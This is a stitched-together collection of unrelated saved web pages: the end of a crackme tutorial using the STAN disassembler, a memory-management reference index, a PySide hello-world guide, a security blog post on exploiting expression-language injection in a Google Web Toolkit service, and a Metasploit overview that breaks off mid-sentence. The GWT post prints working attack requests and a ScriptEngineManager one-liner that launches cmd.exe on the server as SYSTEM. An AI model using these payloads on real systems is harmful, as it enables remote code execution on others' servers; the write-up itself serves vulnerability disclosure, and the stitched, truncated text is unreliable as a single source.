    400155:   bf 01 00 00 00          	mov	edi, 1
    40015a:   31 c0                   	xor	eax, eax
    40015c:   e8 b0 00 00 00          	call	<func_400211>			#  <func_400211> 400211(.text+0xcd)
    400161:   48 89 e6                	mov	rsi, rsp
    400164:   ba 00 04 00 00          	mov	edx, 0x400
    400169:   31 ff                   	xor	edi, edi
    40016b:   31 c0                   	xor	eax, eax
    40016d:   e8 98 00 00 00          	call	<func_40020a>			#  <func_40020a> 40020a(.text+0xc6)
    400172:   ff c8                   	dec	eax
    400174:   48 89 e7                	mov	rdi, rsp
    400177:   48 98                   	cdqe
    400179:   c6 04 04 00             	mov	byte ptr [rsp + rax], 0
    40017d:   e8 29 00 00 00          	call	<func_4001ab>			#  <func_4001ab> 4001ab(.text+0x67)
    400182:   31 c0                   	xor	eax, eax
    400184:   48 81 c4 08 04 00 00    	add	rsp, 0x408
    40018b:   c3                      	ret
    + Stopped after founding symbol '__entry_point' (18 instructions)
    STAN] >
[/code]

As you can see, STAN already show us strings if the are referenced from the
program \(not always the case\) and it also creates dummy names for every
function it finds. You can see three function calls in the main program.

If you further explore the first two `func_400211` and `func_40020a` you will
find out that the first one is a `write` and the second one is a `read`. To
figure out this using STAN you will have to dump the whole section. The opcode
analysis module is still pretty basic and it cannot figure out complex
structures like the one you will find in there.

Alternatively, use your intuition. If you have already run the program, you
know it will show a message and then ask for some input... Let's go that path
and let's use the renaming functions provided by STAN:

[code]

    STAN] > func.rename func_400211 maybe_write
     + Found function func_400211
     + Found Symbol func_400211
    STAN] > func.rename func_40020a maybe_read
     + Found function func_40020a
     + Found Symbol func_40020a
    STAN] >
[/code]

> _Note: All those debug messages will eventially disappear<img
> src='img/Temp2_4534.png' width='20' height='20' alt=':slight_smile:' />_
If we now dump the code again, it will look like this:

[code]

    STAN] > dis.function .text
    + Function '.text'@0x400144 found at section '.text'(1075,342)
    
                                     .text:
    400144:   48 81 ec 08 04 00 00    	sub	rsp, 0x408
    40014b:   ba 0b 00 00 00          	mov	edx, 0xb
    400150:   be 8a 05 40 00          	mov	esi, 0x40058a		#  40058a(.rodata+13) : 'Password: '
    400155:   bf 01 00 00 00          	mov	edi, 1
    40015a:   31 c0                   	xor	eax, eax
    40015c:   e8 b0 00 00 00          	call	<maybe_write>			#  <maybe_write> 400211(.text+0xcd)
    400161:   48 89 e6                	mov	rsi, rsp
    400164:   ba 00 04 00 00          	mov	edx, 0x400
    400169:   31 ff                   	xor	edi, edi
    40016b:   31 c0                   	xor	eax, eax
    40016d:   e8 98 00 00 00          	call	<maybe_read>			#  <maybe_read> 40020a(.text+0xc6)
    400172:   ff c8                   	dec	eax
    400174:   48 89 e7                	mov	rdi, rsp
    400177:   48 98                   	cdqe
    400179:   c6 04 04 00             	mov	byte ptr [rsp + rax], 0
    40017d:   e8 29 00 00 00          	call	<func_4001ab>			#  <func_4001ab> 4001ab(.text+0x67)
    400182:   31 c0                   	xor	eax, eax
    400184:   48 81 c4 08 04 00 00    	add	rsp, 0x408
    40018b:   c3                      	ret
    + Stopped after founding symbol '__entry_point' (18 instructions)
    STAN] >
[/code]

# Getting there

So, we have figured out the `write` and the `read` and there is only one more
function left, the mysterious `func_4001ab`. So, we better figure out what we
are passing as parameter to the function.

You are probably better than me, but I cannot really remember the calling
convention for 64bits functions... so I added a `help.abi` command to STAN to
remember me the order:

[code]

    STAN] > help.abi
      Current Core is: Linux X86 64bits
      -> func (RDI, RSI, RDX, RCX) -> RAX
    STAN] >
[/code]

Good, so, let's look at the code above to figure out what we may expect to
receive in that mysterious function... OK, let's rename it before continuing.

`STAN] func.rename func_4001ab mystery`

So, we can see that `RDI` is initialised with `RSP` \(the top of the stack\).
And what may be in the top of the stack?. Let's check the previous function,
the read:

[code]

    RDI = 0 (xor edi,edi)
    RSI = RSP
    RDX = 0x400
[/code]

So, it actually looks like a `read` call, and the second parameter is the
buffer to store the data that is set to the top of the stack. Then, without
changing anything we call the `mystery` function passing as parameter whatever
we had read from the user.

OK. It is being time for a break so, let's note down what we have found out,
before we leave so we do not have to start from scratch when we come back:

[code]

    STAN] > func.rename func_4001ab mystery
     + Found function func_4001ab
     + Found Symbol func_4001ab
    STAN] > comment.add 40016d read (0 = stdin, RSP, 0x400)
    + Adding comment 'read (0 = stdin, RSP, 0x400)' at 0x40016d
    STAN] > comment.add 40017d mystery (RSP) -> we just pass in the data read from the user
    + Adding comment 'mystery (RSP) -> we just pass in the data read from the user' at 0x40017d
[/code]

Yes, we can add comments to specific addresses. And then the code will look
like this:

[code]

    STAN] > dis.function .text
    + Function '.text'@0x400144 found at section '.text'(1075,342)
    
                                     .text:
    400144:   48 81 ec 08 04 00 00    	sub	rsp, 0x408
    40014b:   ba 0b 00 00 00          	mov	edx, 0xb
    400150:   be 8a 05 40 00          	mov	esi, 0x40058a		#  40058a(.rodata+13) : 'Password: '
    400155:   bf 01 00 00 00          	mov	edi, 1
    40015a:   31 c0                   	xor	eax, eax
    40015c:   e8 b0 00 00 00          	call	<maybe_write>			#  <maybe_write> 400211(.text+0xcd)
    400161:   48 89 e6                	mov	rsi, rsp
    400164:   ba 00 04 00 00          	mov	edx, 0x400
    400169:   31 ff                   	xor	edi, edi
    40016b:   31 c0                   	xor	eax, eax
    40016d:   e8 98 00 00 00          	call	<maybe_read>			#  <maybe_read> 40020a(.text+0xc6)
                                            ; read (0 = stdin, RSP, 0x400)
    400172:   ff c8                   	dec	eax
    400174:   48 89 e7                	mov	rdi, rsp
    400177:   48 98                   	cdqe
    400179:   c6 04 04 00             	mov	byte ptr [rsp + rax], 0
    40017d:   e8 29 00 00 00          	call	<mystery>			#  <mystery> 4001ab(.text+0x67)
                                            ; mystery (RSP) -> we just pass in the data read from the user
    400182:   31 c0                   	xor	eax, eax
    400184:   48 81 c4 08 04 00 00    	add	rsp, 0x408
    40018b:   c3                      	ret
    + Stopped after founding symbol '__entry_point' (18 instructions)
[/code]

Time to save our work and take a break.  
Just type:

[code]

    STAN] case.save
[/code]

# Finishing the challenge

Hope you have had a nice break. I did. Now we can launch again STAN, but this
time we are going to open the file from the STAN command-line

[code]

    $ stan
    STAN is a sTAtic aNalyser. v 0.1
    (c) pico
    
    STAN] core.load /tmp/specimen
    + Cleanning up core
    + Deleting Segments....
    + Deleting Sections....
    + Deleting Symbols....
    + Opening file '/tmp/specimen'
    + Loaded '/tmp/specimen' 4808 bytes
    + ELF Machine ID: 62
    + Arch: 1 Mode:2 Type: 1
    + Processing Core...
    Starting analysis
    + Processing 4 sections/segments
    + Processing section [0] '.text'
      * Analysing 342 instructions
    + Processing section [1] '.rodata'
    + Processing section [2] '.eh_frame'
    + Processing section [3] '.data'
    STAN] case.load /tmp/specimen.srep
    -> SYMBOL: 'mystery' '4001ab'
     + Found function mystery
     + Found Symbol mystery
    -> FUNCTION: 'mystery' '0x4001ab'
    -> COMMENT: 'read (0 = stdin, RSP, 0x400)' '0x40016d'
    -> COMMENT: 'mystery (RSP) -> we just pass in the data read from the user' '0x40017d'
    STAN]
[/code]

As you can imagine `core.load` allows you to load a binary from the disk \(you
can use TAB completion to navigate the file system\), then you use `case.load`
to load your previous saved status. For the time being `case.save` saves the
state as a file with the same name than the binary under analysis but with
extension `.srep`.

Now we can go, and reverse the `mystery` function:

# Unveiling the `mystery`

Let's disassemble `mystery`

[code]

    STAN] > dis.function mystery
    + Function 'mystery'@0x4001ab found at section '.text'(1075,342)
    
                                   mystery:
    4001ab:   51                      	push	rcx
    4001ac:   be 77 05 40 00          	mov	esi, 0x400577		#  <.rodata> 400577(.rodata+0) : '0x00sec'
    4001b1:   e8 98 02 00 00          	call	<func_40044e>			#  <func_40044e> 40044e(.text+0x30a)
    4001b6:   85 c0                   	test	eax, eax
    4001b8:   75 11                   	jne	<l0>			# 4001cb(.text+0x87)
    4001ba:   ba 05 00 00 00          	mov	edx, 5
    4001bf:   be 7f 05 40 00          	mov	esi, 0x40057f		#  40057f(.rodata+8) : 'Good\n'
    4001c4:   bf 01 00 00 00          	mov	edi, 1
    4001c9:   eb 11                   	jmp	<l1>			# 4001dc(.text+0x98)
                                        l0:
    4001cb:   ba 04 00 00 00          	mov	edx, 4
    4001d0:   be 85 05 40 00          	mov	esi, 0x400585		#  400585(.rodata+e) : 'Bad\n'
    4001d5:   bf 01 00 00 00          	mov	edi, 1
    4001da:   31 c0                   	xor	eax, eax
                                        l1:
    4001dc:   e8 30 00 00 00          	call	<maybe_write>			#  <maybe_write> 400211(.text+0xcd)
    4001e1:   83 c8 ff                	or	eax, 0xffffffff
    4001e4:   5a                      	pop	rdx
    4001e5:   c3                      	ret
[/code]

Here we find two labels: `l0` and `l1`. And we can also see a call to what we
believe is a `write` after setting the strings for the right and wrong
password. Everything should be obvious now, but let's rename the labels for
the LuLz

[code]

    STAN] > label.rename l0 BadBoy
     + Found label l0
    - DEBUG: Symbol 'l0' not found
    STAN] > label.rename l1 print_and_exit
     + Found label l1
    - DEBUG: Symbol 'l1' not found
    STAN] > dis.function mystery
    + Function 'mystery'@0x4001ab found at section '.text'(1075,342)
    
                                   mystery:
    4001ab:   51                      	push	rcx
    4001ac:   be 77 05 40 00          	mov	esi, 0x400577		#  <.rodata> 400577(.rodata+0) : '0x00sec'
    4001b1:   e8 98 02 00 00          	call	<func_40044e>			#  <func_40044e> 40044e(.text+0x30a)
    4001b6:   85 c0                   	test	eax, eax
    4001b8:   75 11                   	jne	<BadBoy>			# 4001cb(.text+0x87)
    4001ba:   ba 05 00 00 00          	mov	edx, 5
    4001bf:   be 7f 05 40 00          	mov	esi, 0x40057f		#  40057f(.rodata+8) : 'Good\n'
    4001c4:   bf 01 00 00 00          	mov	edi, 1
    4001c9:   eb 11                   	jmp	<print_and_exit>			# 4001dc(.text+0x98)
                                    BadBoy:
    4001cb:   ba 04 00 00 00          	mov	edx, 4
    4001d0:   be 85 05 40 00          	mov	esi, 0x400585		#  400585(.rodata+e) : 'Bad\n'
    4001d5:   bf 01 00 00 00          	mov	edi, 1
    4001da:   31 c0                   	xor	eax, eax
                            print_and_exit:
    4001dc:   e8 30 00 00 00          	call	<maybe_write>			#  <maybe_write> 400211(.text+0xcd)
    4001e1:   83 c8 ff                	or	eax, 0xffffffff
    4001e4:   5a                      	pop	rdx
    4001e5:   c3                      	ret
[/code]

OK... so can you figure out the password for this crackme?  
In case you wonder, the `func_40044e` is actually `strcmp` you can dive deeper
in the code to figure this out... `dis.function func_40044e`... this is a
simple one if you want to try.

# Other commands you may find interesting

Just for completion, these are a few commands that may also be useful if you
want to play with STAN:

  * `comment.del addr`: Deletes a previous comment... sometimes we make mistakes <img src='img/Temp2_4534.png' width='20' height='20' alt=':slight_smile:' />
  * `mem.dump x addr count`. Dumps content of address `addr` as hex bytes. You can change `x` by `p` to dump words \(pointers\)
`STAN] > mem.dump x 0x400577 10`

  * `func.def`. This allows you to tell STAN that you believe there is a function at some address. As I said, the analysis module is pretty poor so you may spot obvious functions that STAN missed.

And, I haven't say that... but STAN is colourful <img src='img/Temp2_4534.png'
width='20' height='20' alt=':slight_smile:' />. This is how our functions
looks like after all our hard work <img src='img/Temp2_4531.png' width='20'
height='20' alt=':wink:' />

<img src='img/f361ce0600547aae8c889ba32786b398ba907a3a_1_690x467.png'
width='690' height='467' />

stan\_in\_action.png845x572 80.8 KB

# Conclusions

As a final note, I have found this little tool very useful. It is not as
powerful as radare2 or binary ninja, but it is very easy to use and helps a
bit but still force you to do some work... which is something good when you
are starting and you are still learning the basics.

It is still a lot to do and as I said, it is kind of alpha SW, so, use it at
your own risk <img src='img/Temp2_4535.png' width='20' height='20'
alt=':blush:' />

hack fun

  * #### created
<img src='img/Temp2_4539.png' width='20' height='20' />8d

  * #### last reply
<img src='img/Temp2_4537.png' width='20' height='20' />6d

  * 8
#### replies

  * 1.5k
#### views

  * 4
#### users

  * 31
#### likes

  * 3
#### links

  * <img src='img/Temp2_4533.png' width='32' height='32' />4
<img src='img/Temp2_4536.png' width='32' height='32' />3

<img src='img/Temp2_4532.png' width='32' height='32' />

  

# The Memory Management Reference

**Created:**| _1/31/2012 7:33:48 PM_  
---|---  
**Updated:**| _1/31/2012 7:34:26 PM_  
**Author:**| __  
**Tags:**| _cheat sheets Memory_  
  

# <img src='img/Temp2_8216.gif' width='245' height='59' alt='Ravenbrook' />  
---  
# The Memory Management Reference

Contents | News | Glossary | FAQ | Articles | Bibliography | Links | Feedback Welcome to The Memory Management Reference\! This is a resource for programmers and computer scientists interested in memory management and garbage collection. For an introduction, see the Beginner's Guide.
**News**

     What's new in The Memory Management Reference and in the memory management world.
**Glossary**

    A glossary of more than 400 memory management terms.
**FAQ** \[34 kB\]

    Frequently asked questions about memory management.
**Articles**

     Articles giving a beginner's overview of memory management and explaining specific areas of it.
**Bibliography**

     A list of books and research papers related to memory management, with abstracts.
**Links**

    A collection of other Internet resources of memory management information.
**Feedback**

     Contacts for comments and questions about the Reference.
**Acknowledgments**

     Contributors to the Reference.
Ravenbrook are happy to provide advanced memory management solutions to
language and application developers through our consulting service. Copyright
2001 Ravenbrook Limited. All rights reserved.  
Vimium has been updated to 1.30.x

# Hello World in PySide | Qt Wiki | Qt Developer Network
**Created:**| _5/21/2011 9:53:09 AM_  
---|---  
**Updated:**| _5/21/2011 9:53:17 AM_  
**Author:**| __  
**Tags:**| _python programming qt_  
  

# Your first PySide application

If you followed Setting up PySide wiki page to install PySide, you should now
have a full blown copy of PySide on your machine to start developing Qt+Python
GUI applications. As any other programming framework, you start by the
traditional “Hello World”.

Here is a simple example of an Hello World in PySide:

[code]

    #!/usr/bin/python
    
    # Import PySide classes
    import sys
    from PySide.QtCore import *
    from PySide.QtGui import *
    
    
    # Create a Qt application 
    app = QApplication(sys.argv)
    # Create a Label and show it
    label = QLabel("Hello World")
    label.show()
    # Enter Qt application main loop
    app.exec_()
    sys.exit()
    
    
[/code]

With PySide desktop applications, you must always start your file by importing
PySide.QtCore and PySide.QtGui classes. These classes have the main functions
for building PySide applications. For instance, PySide.QtGui contains
functions for dealing with widgets while PySide.QtCore contains methods for
handling signals and slots, and controlling the application.

After the imports, you create a QApplication which is the main Qt application.
As Qt can receive arguments from command line, you must pass any arguments to
the QApplication object. Usually, you don’t need to pass any arguments so you
can leave it as it is.

After the creation of the application object, we have created a QLabel object.
A QLabel is a widget that can present text \(simple or rich, like html\), and
images. Note that after the creation of the label, we are calling the method
**show** which will present the label to the user.

Finally, we call **app.exec\_\(\)** which will enter the Qt main loop and
start to execute the Qt code. In reality, it is only here that the label will
be shown, but this can be ignored for now.

## Displaying html in the label

As mentioned previously, you can insert html tags in the label to present rich
text. Try changing the code which creates the label for something like:

[code]

    label = QLabel("<font color=red size=40>Hello World</font>")
    
    
[/code]

and you will the the “Hello World” now bigger and red. You can try to change
to another color, another size, or make it blink\! Or you can create other
elements instead of the QLabel, like QPushButton, or others.

### Categories:

  * LanguageBindings
    * PySide

# From Serialized to Shell :: Exploiting Google Web Toolkit with EL Injection

**Created:**| _5/23/2017 1:03:36 PM_  
---|---  
**Updated:**| _5/23/2017 1:03:36 PM_  
**Author:**| __  
**Tags:**| _web-app-sec Google cloud computing_  
  

  

# From Serialized to Shell :: Exploiting Google Web Toolkit with EL Injection

May 22, 2017

<img src='img/Temp2_3311.png' width='102' height='79' alt='Google Web Toolkit'
/> This is a follow up blog post to my previous post on auditing Google Web
Toolkit \(GWT\). Today we are going to focus on a specific vulnerability that
I found in a GWT endpoint that Matthias Kaiser helped me exploit. Please note
that the code has been changed to protect the not so innocent whilst they
patch.

TL;DR

I explain a semi-complex expression language injection vulnerability which is
triggered in a Google Web Toolkit \(GWT\) endpoint.

### The vulnerability

Within the WEB-INF/web.xml file, I found the following endpoint mapping:

[code]

    <servlet>
        <servlet-name>someService</servlet-name>
        <servlet-class>com.aaa.bbb.ccc.ddd.server.SomeServiceImpl</servlet-class>
    </servlet>
    
    <servlet-mapping>
        <servlet-name>someService</servlet-name>
        <url-pattern>/someService.gwtsvc</url-pattern>
    </servlet-mapping>
[/code]

We can see that the above code references the server mapping. Since GWT works
by defining client classes that denoting which methods are available for the
client to access, let’s start by looking at the corresponding client class
com.aaa.bbb.ccc.ddd.**client**.SomeService:

[code]

    public abstract interface SomeService
      extends RemoteService
    {
      public abstract void sendBeanName(String paramString);
      
      public abstract Boolean setMibNodesInfo(List<MIBNodeModel> paramList);
      
      public abstract void createMibNodeGettingBean();
    }
[/code]

There are three functions that look interesting that we can reach, lets strip
them out of the server code and see what each one does. Reading the Java code
in the main jar archive that contains the class SomeServiceImpl we find the
following code:

[code]

      public void sendBeanName(String paramString)
      {
        if (paramString == null) {
          return;
        }
        HttpSession localHttpSession = super.getThreadLocalRequest().getSession();
        if (localHttpSession != null) {
          localHttpSession.setAttribute("MibWidgetBeanName", paramString);
        }
      }
[/code]

Ok, so we can set a session attribute named **MibWidgetBeanName** with a
string we can control. So far, nothing interesting. Let’s investigate the
**setMibNodesInfo** function:

[code]

      public Boolean setMibNodesInfo(List<MIBNodeModel> paramList)
      {
        List localList = ModelUtil.mibNodeModelList2MibNodeList(paramList);
        if (localList != null)
        {
          MibNodesSelect localMibNodesSelect = getBeanByName();
[/code]

This function accepts a **List** type using a complex type **MIBNodeModel**.
The **mibNodeModelList2MibNodeList** function will check to see if what we
supplied was a valid List and return different strings based on what values
are contained within the first element of the List.

If there are no values supplied in the our List, it will define a List and
return it with a default instances of **MIBNodeModel**. Then, the
**getBeanByName** function is callled. Let’s go ahead and investigate this
function.

[code]

      private MibNodesSelect getBeanByName()
      {
        ...
    
        Object localObject1 = super.getThreadLocalRequest().getSession();
        if (localObject1 != null)
        {
          localObject2 = (String)((HttpSession)localObject1).getAttribute("MibWidgetBeanName");
          if (localObject2 != null)
          {
            localObject3 = null;
            try
            {
              localObject3 = (MibNodesSelect)FacesUtils.getValueExpressionObject(localFacesContext, "#{" + (String)localObject2 + "}");
            }
            finally
            {
              if ((localFacesContext != null) && (i != 0)) {
                localFacesContext.release();
              }
            }
            return (MibNodesSelect)localObject3;
          }
        }
        return null;
      }
[/code]

Since this is a private method, it’s not reachable via the client interface
and we cannot call it directly. We can see on line 8 that we get that
attribute **MibWidgetBeanName** again and store it into a string called
**localObject2**.

This **localObject2** variable is later used on line 14 for retrieving an
expression. Classic expression injection vulnerability. Well, not so classic,
but somewhat obvious after decompiling the code.

### Exploitation

First of all, the observing reader will notice that this is not a _reflective_
type of expression language injection. Meaning you cannot view the results of
code executing to verify the vulnerability. Thus, I clasify it as a _blind
expression language injection vulnerability_.

I digress by demonstrating an example. Suppose we have a vulnerability in a
Java Servlet Faces \(JSF\) application that looks like so:

[code]

    <h:outputText value="${beanEL.ELAsString(request.getParameter('expression'))}" /> 
[/code]

An attacker could simply perform the following request:

**http://\[target\]/some\_endpoint/vuln.jsf?expression=9%3b1**

Since a browser translates the + as a space, we encode the + so that what we
are really sending is 9+1 and upon server response, if we see a value of 10
then we know that we have an expression language injection vulnerability since
the math operation executed. This is the method Burp Suite uses to detect
template injection vulnerabilities.

However, given our vulnerable code above, we cannot _easily_ determine an
expression language injection vulnerability, or could we? After experimenting
with the JSF api I found some very neat functions that allow us to fully
determine the presence of a EL Injection vulnerability without making outgoing
HTTP requests.

The oracle documentation states that you can use the **getExternalContext**
method on the FacesContext instance. This method returns a **ExternalContext**
type which can allow us to set specific reponse object properties. When I was
investigating this, two functions came to mind:

  * setResponseCharacterEncoding
  * redirect

Therefore, we could set the string to the following Java code:

[code]

    facesContext.getExternalContext().redirect("http://srcincite.io/");
[/code]

…and if the response was a 302 redirect to **http://srcincite.io/** then we
can confirm the code is vulnerable.

#### Testing the vulnerability

The first request we need to do is to set the session attribute
**MibWidgetBeanName**

[code]

    POST /someService.gwtsvc HTTP/1.1
    Host: [target]
    Accept: */*
    X-GWT-Module-Base: 
    X-GWT-Permutation: 
    Cookie: JSESSIONID=[cookie]
    Content-Type: text/x-gwt-rpc; charset=UTF-8
    Content-Length: 195
    
    6|0|6||45D7850B2B5DB917E4D184D52329B5D9|com.aaa.bbb.ccc.ddd.client.SomeService|sendBeanName|java.lang.String|facesContext.getExternalContext().redirect("http://srcincite.io/")|1|2|3|4|1|5|6|
[/code]

With a server response of **//OK\[\[\],0,6\]** we know that our GWT injection
was successful. Then, the second request to trigger the _stored_ in a session
string, expression language injection. However, before we send that request,
since we are using complex types for the **setMibNodesInfo** function, we need
to look up the policy file that defines the available types allowed to send.
Within the **\[strong name\].gwt.rpc** file, I found the following type value
for ArrayList: **java.util.ArrayList/382197682**.

Now we can go ahead and use that type in the request:

[code]

    POST /someService.gwtsvc HTTP/1.1
    Host: [target]
    Accept: */*
    X-GWT-Module-Base: 
    X-GWT-Permutation: 
    Cookie: JSESSIONID=FB531EBCCE6231E7F0F9605C7661F036
    Content-Type: text/x-gwt-rpc; charset=UTF-8
    Content-Length: 171
    
    6|0|6||45D7850B2B5DB917E4D184D52329B5D9|com.aaa.bbb.ccc.ddd.client.SomeService|setMibNodesInfo|java.util.List|java.util.ArrayList/3821976829|1|2|3|4|1|5|6|0|
[/code]

The corresponding response, looks like this:

[code]

    HTTP/1.1 302 Found
    Server: Apache-Coyote/1.1
    Set-Cookie: JSESSIONID=[cookie]; Path=/; Secure; HttpOnly
    Set-Cookie: oam.Flash.RENDERMAP.TOKEN=-g9lc30a8l; Path=/; Secure
    Pragma: no-cache
    Cache-Control: no-cache
    Expires: Thu, 01 Jan 1970 00:00:00 GMT
    Pragma: no-cache
    Location: http://srcincite.io/
    Content-Type: text/html;charset=UTF-8
    Content-Length: 45
    Date: Wed, 03 May 2017 18:58:36 GMT
    Connection: close
    
    //OK[0,1,["java.lang.Boolean/476441737"],0,6]
[/code]

Of course, redirection is great and all for vulnerability detection, but we
want shells. After reading Minded Securities excellent blog post I discovered
that I can use the **ScriptEngineManager** ’s JavaScript engine to dynamically
evaluate Java code. Their one-liner was a bit long for me, so I created one
that works using the same technique.

[code]

    "".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("var proc=new java.lang.ProcessBuilder[\\"(java.lang.String[])\\"]([\\"cmd.exe\\",\\"/c\\",\\"calc.exe\\"]).start();")
[/code]

Updating the **MibWidgetBeanName** session attribute with that code and re-
triggering the **setMibNodesInfo** function, launches commands as SYSTEM
against my target:

[code]

    POST /someService.gwtsvc HTTP/1.1
    Host: [target]
    Accept: */*
    X-GWT-Module-Base: 
    X-GWT-Permutation: 
    Cookie: JSESSIONID=[cookie]
    Content-Type: text/x-gwt-rpc; charset=UTF-8
    Content-Length: 366
    
    6|0|6||45D7850B2B5DB917E4D184D52329B5D9|com.aaa.bbb.ccc.ddd.client.SomeService|sendBeanName|java.lang.String|"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("var proc=new java.lang.ProcessBuilder[\\"(java.lang.String[])\\"]([\\"cmd.exe\\",\\"/c\\",\\"calc.exe\\"]).start();")|1|2|3|4|1|5|6|
[/code]

Onto triggering the expression language injection…

[code]

    POST /someService.gwtsvc HTTP/1.1
    Host: [target]
    Accept: */*
    X-GWT-Module-Base: 
    X-GWT-Permutation: 
    Cookie: JSESSIONID=FB531EBCCE6231E7F0F9605C7661F036
    Content-Type: text/x-gwt-rpc; charset=UTF-8
    Content-Length: 171
    
    6|0|6||45D7850B2B5DB917E4D184D52329B5D9|com.aaa.bbb.ccc.ddd.client.SomeService|setMibNodesInfo|java.util.List|java.util.ArrayList/3821976829|1|2|3|4|1|5|6|0|
[/code]

<img src='img/Temp2_3312.png' width='1272' height='310' alt='SYSTEM calc' />

### Conclusion

There is _almost_ no way this vulnerability would have been discovered from a
black-box perspective. Common tools such as Burp Suite have no chance of
currently detecting such vulnerabilities especially considering this
particular case where the string is stored in a session attribute.

As web technologies progress forward, our need for automation increases and a
lack of tools, skills and knowledge in this area allows many applications to
stay vulnerable to critical code execution vulnerabilities for years.

  

# Find vulnerabilities with Metasploit

**Created:**| _8/21/2009 10:30:43 AM_  
---|---  
**Updated:**| _8/21/2009 10:30:48 AM_  
**Author:**| __  
**Tags:**| _LOLZ_  
  

# Find vulnerabilities with Metasploit

 _Develop exploits and find vulnerabilities in your enterprise's security_

Sean-Philip Oriyano \(sean.oriyano@gmail.com\), IT Instructor, Independent
Consultant

**Summary:** Metasploit is a vulnerability scanning and exploit development
tool that you can use to greatly enhance the security in your enterprise.
Through the use of Metasploit, an organization can locate previously unknown
weaknesses and begin addressing them.

**Date:** 18 Aug 2009  
**Level: ** Intermediate  
**PDF:** A4 and Letter \(26KB | 8 pages\)Get Adobe® Reader®   
**Activity:** 835 views  
**Comments:** <img src='img/Temp2_3169.gif' width='50' height='12' /><img
src='img/Temp2_3170.gif' width='1' height='14' />

When deploying a piece of software such as an operating system, application,
or Web server, one of the biggest concerns is security. Is that application
secure, or is there a hole or vulnerability that you don't know about? Most
administrators interested in knowing the answer to this question simply rely
on the various security bulletins posted on vendors' Web sites to obtain the
information they need. However, if you're one of the many administrators and
security professionals who wants to get deeper into his or her applications,
you can actively verify whether your software is actually affected by a
threat.

In the security field, several tools are designed to do what's known as
_vulnerability testing_ , each offering different features and benefits. Some
of the more common tools include Nessus, SAINT, Nmap, and Metasploit—the focus
of this article \(see Resources\).

This article introduces at a basic level the purpose of Metasploit and the
potential this software has in the enterprise. Although using Metasploit to
perform your own vulnerability scanning is outside the scope of this article,
many tutorials and books are available to help \(see Resources\).

Vulnerability scanning

So, what's the purpose of vulnerability scanning, and how does Metasploit fit
in? A vulnerability scanner is similar to other types of scanners—for example,
port scanners help secure the network and the systems on it. The goal of such
scans is to detect any weaknesses and use the results to address the problems
before the "bad guys" do.

Common problems detected during the scanning process include locating buffer
overflows, unpatched software, Structured Query Language \(SQL\) problems, and
so on. How much a scanner detects depends on the software itself: Some
scanners are much more aggressive in their scans, detecting missing patches or
configuration errors, while others just seem to point you in the right
direction.

Metasploit goes a step beyond regular vulnerability scanners: It provides you
the ability to develop your own exploits and delivery mechanisms. The idea is
that where other scanning methods rely on known problems, Metasploit allows
you to develop your own with the intention of allowing more flexibility in
scanning as well as research.

What's a vulnerability scanner?

Simply put, a  _vulnerability scanner_ is a piece of software specifically
designed to search for and reveal weaknesses in an application or operating
system. Each vulnerability scanner may perform its own scans and probes
differently, but the result is more or less the same: a report or some sort of
output informing you of the problems discovered.

The process of vulnerability scanning can be broken down into a series of
steps, each of which is a vital task needed to locate the weaknesses in an
application or operating system:

  1. Provide the scanning software with the IP or host names of active systems. In this way, the scanner will be able to find open ports, services that respond, and any applications that may be currently running on the system.
  2. The scanner generates a report informing you of what it discovered. This information may not be fully actionable and may require more research if the scanner ends at this step. With other scanners, this step may simply reveal the ports, services, and applications running so that the software can proceed to the next step.
  3. The software runs probes against the ports and services discovered in Step 2, with the goal of returning information on the patch level, software revisions, or any one of a number of potential flaws. Modern vulnerability scanners have plug-ins designed to look for new weaknesses as they emerge. So, what a scanner does not find today it may very well find tomorrow after you perform an update.
  4. Depending on how advanced the scanner is, the software may attempt to exploit vulnerabilities \(if this feature is supported\). In fact, some more modern scanners can have their aggressiveness at this step configured, meaning that they will not be so aggressive in their scanning that they bring down a system \(which they can and have been known to do\).

Back to top

What is Metasploit?

The Metasploit Project is a series of projects that have spawned tools used
for everything from defeating forensic methods and evading detection to its
best-known software, the Metasploit Framework. Metasploit is not intended to
be a hacking tool, even though it may sound like one on the surface. Indeed,
the tool's primary goal is security research. However, as with any tool of
this type, how it's used depends on the user. Remember, "With great power
comes great responsibility," so be careful.

Metasploit had its genesis back in 2003, when it was based on the Perl
scripting language. Since 2003, it has been rewritten from the ground up to
use the Ruby programming language. Over the past couple of years or so,
Metasploit has become one of the favored tools in the security research
community, single-handedly responsible for creating some of the more
sophisticated attacks against software and systems. In the right hands, this
tool can offer a very powerful means of uncovering security vulnerabilities in
software and assisting in their repair.

Currently, Metasploit runs on most of the Nix-based systems as well as on some
of the other common operating systems in use. As of this writing, the stable
version of Metasploit is Version 3.1.

How Metasploit works

Metasploit breaks down the steps mentioned earlier in the description of
vulnerability scanners, with the goal of uncovering vulnerabilities.
Basically, the scanner:

  * Selects and configures the exploit to be targeted. This is the code that will be targeted toward a system with the intention of taking advantage of a defect in the software.
**Note:** The pool of exploits is specific to an operating system. This pool
changes by version of the system and grows all the time. Currently, Metasploit
contains more than 400 exploits for most of the modern operating systems.

  * Validates the exploit against the system with the intention of discovering whether the system is vulnerable to the exploit.
  * Selects and configures a payload that will be used. This payload represents the code that will be run on a system after the scanner discovers an entry point into the system.
  * Selects and configures the encoding and delivery technique that will be used.
The goal of this step is to format the payload in such a way that it can evade
entrenched intrusion-detection systems \(IDSs\).

  * Executes the exploit.

Back to top

Metasploit in action

This section provides an overview of what the Metasploit Framework does for
users trying to discover vulnerabilities. I don't get into the specifics of
how to run each exploit or write shell code. Instead, I give a broad overview
of the process so you can get an idea of what's involved and determine whether
the software is right for your testing needs.

For those of you who have never seen or worked with Metasploit, you will
probably discover that the Metasploit Framework is surprisingly easy to use.
In fact, you may find the product so easy to use that you may pay a little
more attention to your patch-management process and stay informed of the
latest fixes and vulnerabilities lest someone else point this tool your way.

When you think about it, this tool is the equivalent of an offensive weapon in
the real world. The tool can be freely downloaded and installed with a myriad
of prepackaged exploits that are already verified to work against specific
platforms and applications. These exploits even come with their own matching
payloads to make the process that much easier. Each preconfigured exploit is
already set up to determine what to do upon delivery when the exploit is
executed.

**Note:** Even though Metasploit ships with several preconfigured exploits,
it's important to realize that the software was envisioned as an exploit-
development environment. You can use the tools that the software provides to
test whether systems are vulnerable and how they will react when you direct
specific payloads toward them.

Running an exploit

First, let's look at the process of running Metasploit. This process should
apply to running most exploits and payload deliveries. In this scenario, I
look generically at how you could launch an attack from one system against
another.

**Note:** The following steps have been sanitized to prevent anyone from using
